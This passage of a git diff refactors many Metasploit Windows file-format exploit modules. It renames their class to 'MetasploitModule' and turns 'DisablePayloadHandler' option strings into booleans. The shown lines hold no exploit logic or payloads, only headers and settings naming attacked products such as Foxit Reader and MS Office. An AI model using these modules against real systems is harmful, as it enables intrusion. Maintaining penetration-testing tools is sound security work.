Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/fatplayer_wav.rb b/modules/exploits/windows/fileformat/fatplayer_wav.rb index 38686df93b..cf4f18cd37 100644 --- a/modules/exploits/windows/fileformat/fatplayer_wav.rb +++ b/modules/exploits/windows/fileformat/fatplayer_wav.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/fdm_torrent.rb b/modules/exploits/windows/fileformat/fdm_torrent.rb index df64e35035..835441a161 100644 --- a/modules/exploits/windows/fileformat/fdm_torrent.rb +++ b/modules/exploits/windows/fileformat/fdm_torrent.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/feeddemon_opml.rb b/modules/exploits/windows/fileformat/feeddemon_opml.rb index fd9a115fca..e19d9777bf 100644 --- a/modules/exploits/windows/fileformat/feeddemon_opml.rb +++ b/modules/exploits/windows/fileformat/feeddemon_opml.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb b/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb index f5da05ca0a..db56b8840e 100644 --- a/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb +++ b/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'DisablePayloadHandler' => 'true', + 'DisablePayloadHandler' => true, }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/foxit_reader_launch.rb b/modules/exploits/windows/fileformat/foxit_reader_launch.rb index 1f9be2a724..512ca932fd 100644 --- a/modules/exploits/windows/fileformat/foxit_reader_launch.rb +++ b/modules/exploits/windows/fileformat/foxit_reader_launch.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'DisablePayloadHandler' => 'true', + 'DisablePayloadHandler' => true, }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/foxit_title_bof.rb b/modules/exploits/windows/fileformat/foxit_title_bof.rb index 166a9cfee8..9c9f4b3566 100644 --- a/modules/exploits/windows/fileformat/foxit_title_bof.rb +++ b/modules/exploits/windows/fileformat/foxit_title_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb b/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb index 9be4a7dc85..7dd33fd5e9 100644 --- a/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb +++ b/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'DisablePayloadHandler' => 'true', + 'DisablePayloadHandler' => true, }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/galan_fileformat_bof.rb b/modules/exploits/windows/fileformat/galan_fileformat_bof.rb index 7e82c08be2..1049ee46b0 100644 --- a/modules/exploits/windows/fileformat/galan_fileformat_bof.rb +++ b/modules/exploits/windows/fileformat/galan_fileformat_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'DisablePayloadHandler' => 'true', + 'DisablePayloadHandler' => true, }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/gsm_sim.rb b/modules/exploits/windows/fileformat/gsm_sim.rb index e2019f38cc..0fd7b4a82e 100644 --- a/modules/exploits/windows/fileformat/gsm_sim.rb +++ b/modules/exploits/windows/fileformat/gsm_sim.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/gta_samp.rb b/modules/exploits/windows/fileformat/gta_samp.rb index 8fda60248c..99bfd109cf 100644 --- a/modules/exploits/windows/fileformat/gta_samp.rb +++ b/modules/exploits/windows/fileformat/gta_samp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb b/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb index 541f6ac734..96e6b9cb59 100644 --- a/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb +++ b/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'DisablePayloadHandler' => 'true', + 'DisablePayloadHandler' => true, }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb b/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb index b7cb7a9e32..3eaa4f66bf 100644 --- a/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb +++ b/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'DisablePayloadHandler' => 'true', + 'DisablePayloadHandler' => true, }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb b/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb index 24ae5f20f2..90d48de952 100644 --- a/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb +++ b/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'DisablePayloadHandler' => 'true', + 'DisablePayloadHandler' => true, }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/homm3_h3m.rb b/modules/exploits/windows/fileformat/homm3_h3m.rb index dd83c0b103..be882ba496 100644 --- a/modules/exploits/windows/fileformat/homm3_h3m.rb +++ b/modules/exploits/windows/fileformat/homm3_h3m.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb b/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb index 468b74316a..2d4cb835fd 100644 --- a/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb +++ b/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ibm_forms_viewer_fontname.rb b/modules/exploits/windows/fileformat/ibm_forms_viewer_fontname.rb index b4ed4d9963..8ee1a341ad 100644 --- a/modules/exploits/windows/fileformat/ibm_forms_viewer_fontname.rb +++ b/modules/exploits/windows/fileformat/ibm_forms_viewer_fontname.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rexml/document' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include REXML diff --git a/modules/exploits/windows/fileformat/ibm_pcm_ws.rb b/modules/exploits/windows/fileformat/ibm_pcm_ws.rb index 9040c45a16..6905619ea8 100644 --- a/modules/exploits/windows/fileformat/ibm_pcm_ws.rb +++ b/modules/exploits/windows/fileformat/ibm_pcm_ws.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # ASLR+DEP bypass include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/icofx_bof.rb b/modules/exploits/windows/fileformat/icofx_bof.rb index 0d4f157193..4d4902d9a8 100644 --- a/modules/exploits/windows/fileformat/icofx_bof.rb +++ b/modules/exploits/windows/fileformat/icofx_bof.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ideal_migration_ipj.rb b/modules/exploits/windows/fileformat/ideal_migration_ipj.rb index 6e76f51aff..302377f25f 100644 --- a/modules/exploits/windows/fileformat/ideal_migration_ipj.rb +++ b/modules/exploits/windows/fileformat/ideal_migration_ipj.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'seh', - 'DisablePayloadHandler' => 'true', + 'DisablePayloadHandler' => true, }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/iftp_schedule_bof.rb b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb index 29df9fcdd0..335af1186d 100644 --- a/modules/exploits/windows/fileformat/iftp_schedule_bof.rb +++ b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rexml/document' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb index aebb884c39..4ef262a804 100644 --- a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb +++ b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb index 55699fcecf..846839bfb1 100644 --- a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb +++ b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb b/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb index 4bc326cf3c..844674afc7 100644 --- a/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb +++ b/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/lattice_pac_bof.rb b/modules/exploits/windows/fileformat/lattice_pac_bof.rb index 7af09b6327..5f3157ad99 100644 --- a/modules/exploits/windows/fileformat/lattice_pac_bof.rb +++ b/modules/exploits/windows/fileformat/lattice_pac_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/lotusnotes_lzh.rb b/modules/exploits/windows/fileformat/lotusnotes_lzh.rb index 2c46655a13..6b492c5605 100644 --- a/modules/exploits/windows/fileformat/lotusnotes_lzh.rb +++ b/modules/exploits/windows/fileformat/lotusnotes_lzh.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb b/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb index aaaa68e5e4..969b09a005 100644 --- a/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb +++ b/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb b/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb index a210a5ddad..82e78e7f6c 100644 --- a/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb +++ b/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = LowRanking include Msf::Exploit::FILEFORMAT @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'DisablePayloadHandler' => 'true', + 'DisablePayloadHandler' => true, }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb b/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb index 41af41ef90..ef37f52edf 100644 --- a/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb +++ b/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'EXITFUNC' => "none", #'InitialAutoRunScript' => 'migrate -f', - 'DisablePayloadHandler' => 'false', + 'DisablePayloadHandler' => false, }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/mediacoder_m3u.rb b/modules/exploits/windows/fileformat/mediacoder_m3u.rb index 9a91b041e3..63947ef024 100644 --- a/modules/exploits/windows/fileformat/mediacoder_m3u.rb +++ b/modules/exploits/windows/fileformat/mediacoder_m3u.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/mediajukebox.rb b/modules/exploits/windows/fileformat/mediajukebox.rb index e6bf891a76..a3b275d5b2 100644 --- a/modules/exploits/windows/fileformat/mediajukebox.rb +++ b/modules/exploits/windows/fileformat/mediajukebox.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'seh', - 'DisablePayloadHandler' => 'true', + 'DisablePayloadHandler' => true, }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/microp_mppl.rb b/modules/exploits/windows/fileformat/microp_mppl.rb index d2b6298122..c8fc52c28c 100644 --- a/modules/exploits/windows/fileformat/microp_mppl.rb +++ b/modules/exploits/windows/fileformat/microp_mppl.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'DisablePayloadHandler' => 'true', + 'DisablePayloadHandler' => true, }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/millenium_mp3_pls.rb b/modules/exploits/windows/fileformat/millenium_mp3_pls.rb index aaa749cc1f..1df34cf54e 100644 --- a/modules/exploits/windows/fileformat/millenium_mp3_pls.rb +++ b/modules/exploits/windows/fileformat/millenium_mp3_pls.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb b/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb index 45c708b636..c6ce8282a9 100644 --- a/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb +++ b/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb b/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb index 06133dcc58..08d32e4615 100644 --- a/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb +++ b/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb b/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb index 95dff30b96..b5290628b1 100644 --- a/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb +++ b/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb b/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb index b1d56c8738..abca8b0b9a 100644 --- a/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb +++ b/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb index 5565d239b8..74a36749a5 100644 --- a/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/mplayer_sami_bof.rb b/modules/exploits/windows/fileformat/mplayer_sami_bof.rb index 563806e43f..2227ed7907 100644 --- a/modules/exploits/windows/fileformat/mplayer_sami_bof.rb +++ b/modules/exploits/windows/fileformat/mplayer_sami_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb b/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb index 01127ad7e2..8e0efe9bee 100644 --- a/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb +++ b/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/ole' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb b/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb index 3e903cfb6a..ac9a801ea0 100644 --- a/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb +++ b/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/ole' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb b/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb index c38c4f6694..54346b5033 100644 --- a/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb +++ b/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb b/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb index 1a7ec7195a..cf2cc7d1fd 100644 --- a/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb +++ b/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb index a0786b7cfc..24283fda76 100644 --- a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb +++ b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex/ole' require 'rex/ole/util' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb index 7e68750c0f..485b6ba9d9 100644 --- a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb +++ b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ms12_005.rb b/modules/exploits/windows/fileformat/ms12_005.rb index be1f865651..6495b396d2 100644 --- a/modules/exploits/windows/fileformat/ms12_005.rb +++ b/modules/exploits/windows/fileformat/ms12_005.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/zip' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'DisablePayloadHandler' => 'false' + 'DisablePayloadHandler' => false }, 'Platform' => 'win', 'Targets' => @@ -234,7 +234,7 @@ class Metasploit3 < Msf::Exploit::Remote end =begin -mbp:win7_diff sinn3r$ diff patch/GetCurrentIcon.c vuln/GetCurrentIcon.c +mbp:win7_diff sinn3r$ diff patch/GetCurrentIcon.c vuln/GetCurrentIcon.c 1c1 < void *__thiscall CPackage::_GetCurrentIcon(void *this, int a2) --- diff --git a/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb b/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb index 52709c9794..1548ef7a32 100644 --- a/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb +++ b/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ms13_071_theme.rb b/modules/exploits/windows/fileformat/ms13_071_theme.rb index e524c4a34b..f2d966c158 100644 --- a/modules/exploits/windows/fileformat/ms13_071_theme.rb +++ b/modules/exploits/windows/fileformat/ms13_071_theme.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'DisablePayloadHandler' => 'false' + 'DisablePayloadHandler' => false }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/ms14_017_rtf.rb b/modules/exploits/windows/fileformat/ms14_017_rtf.rb index 178fd02774..aba2907db5 100644 --- a/modules/exploits/windows/fileformat/ms14_017_rtf.rb +++ b/modules/exploits/windows/fileformat/ms14_017_rtf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ms14_060_sandworm.rb b/modules/exploits/windows/fileformat/ms14_060_sandworm.rb index 12a76d2f09..c68ecb9be7 100644 --- a/modules/exploits/windows/fileformat/ms14_060_sandworm.rb +++ b/modules/exploits/windows/fileformat/ms14_060_sandworm.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/ole' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ms14_064_packager_python.rb b/modules/exploits/windows/fileformat/ms14_064_packager_python.rb index da08b259a5..70879a135d 100644 --- a/modules/exploits/windows/fileformat/ms14_064_packager_python.rb +++ b/modules/exploits/windows/fileformat/ms14_064_packager_python.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/ole' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ms14_064_packager_run_as_admin.rb b/modules/exploits/windows/fileformat/ms14_064_packager_run_as_admin.rb index 2fae749a3d..34e74d6c31 100644 --- a/modules/exploits/windows/fileformat/ms14_064_packager_run_as_admin.rb +++ b/modules/exploits/windows/fileformat/ms14_064_packager_run_as_admin.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/ole' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ms15_020_shortcut_icon_dllloader.rb b/modules/exploits/windows/fileformat/ms15_020_shortcut_icon_dllloader.rb index 66df942f10..48157af3b3 100644 --- a/modules/exploits/windows/fileformat/ms15_020_shortcut_icon_dllloader.rb +++ b/modules/exploits/windows/fileformat/ms15_020_shortcut_icon_dllloader.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb b/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb index 9815d96b34..0c5fd421fe 100644 --- a/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb +++ 